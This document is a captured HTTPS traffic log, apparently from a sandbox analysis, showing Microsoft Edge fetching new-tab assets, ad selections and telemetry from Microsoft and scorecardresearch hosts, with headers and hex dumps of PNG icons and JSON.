2024-11-22 16:09:02 UTC	925	OUT	GET /b?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:02 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Fri, 22 Nov 2024 16:09:02 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732291741203&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=379C33D393BD6E761EBE26EC92DF6F66&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=111e9d3450db19a83dec6881732291742; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=111e9d3450db19a83dec6881732291742; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 487e773bc809cb87809f770954ce1e22.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: VJnUasBJOrK7GMapKC4Zq-CZAU1-BgvWjeCKBoBJjqL-RaJ_RSltuw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	49799	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 629b8563-b01e-0013-65f8-3c5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160902Z-15b8b599d885v8r9hC1TEB104g00000001ug0000000000ay Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.10	49801	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 3564c9ec-001e-004e-2bf8-3cade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160902Z-15b8b599d88wn9hhhC1TEBry0g00000001rg0000000096q8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.10	49803	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 7e66ba8f-001e-000a-1be4-3c718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160903Z-15b8b599d889gj5whC1TEBfyk000000001g000000000asbd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.10	49800	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 0cade959-101e-001e-7ad8-3cb2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160903Z-178bfbc474brk967hC1NYCfu6000000002xg00000000qexe Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.10	49802	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	536	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 0c78565c-f01e-003d-80d8-3cdd21000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160903Z-178bfbc474bv7whqhC1NYC1fg4000000033000000000tnue Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.10	49804	13.107.246.40	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:02 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:03 UTC	516	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 16:09:03 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: bdd92241-901e-0062-44f8-3c2fdf000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241122T160903Z-178bfbc474bbcwv4hC1NYCypys000000031000000000fnyy Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-22 16:09:03 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.10	49806	20.1.248.118	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=379C33D393BD6E761EBE26EC92DF6F66&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=8810299700620392370&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=8efe81035df7490f99aefac8263dcd99 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1
2024-11-22 16:09:04 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.10	49807	104.117.182.72	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-22 16:09:04 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 14 Nov 2024 13:08:58 GMT X-Source-Length: 1658 X-Datacenter: westus X-ActivityId: 5207dc63-23db-47af-bb98-7b1841fb9ec3 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=118836 Expires: Sun, 24 Nov 2024 01:09:40 GMT Date: Fri, 22 Nov 2024 16:09:04 GMT Connection: close
2024-11-22 16:09:04 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.10	49805	20.189.173.23	443	7852	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-22 16:09:04 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732291741201&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3805 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=379C33D393BD6E761EBE26EC92DF6F66; _EDGE_S=F=1&SID=3467BADAF3F66E6322F8AFE5F2CE6F4F; _EDGE_V=1
2024-11-22 16:09:04 UTC	3805	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 32 54 31 36 3a 30 39 3a 30 31 2e 31 39 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 65 30 33 30 32 33 35 66 2d 37 36 33 32 2d 34 38 37 66 2d 62 39 64 37 2d 66 32 30 37 34 33 37 30 39 36 31 34 22 2c 22 65 70 6f 63 68 22 3a 22 33 32 34 31 33 36 32 32 33 39 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-22T16:09:01.196Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"e030235f-7632-487f-b9d7-f20743709614","epoch":"3241362239"},"app":{"locale
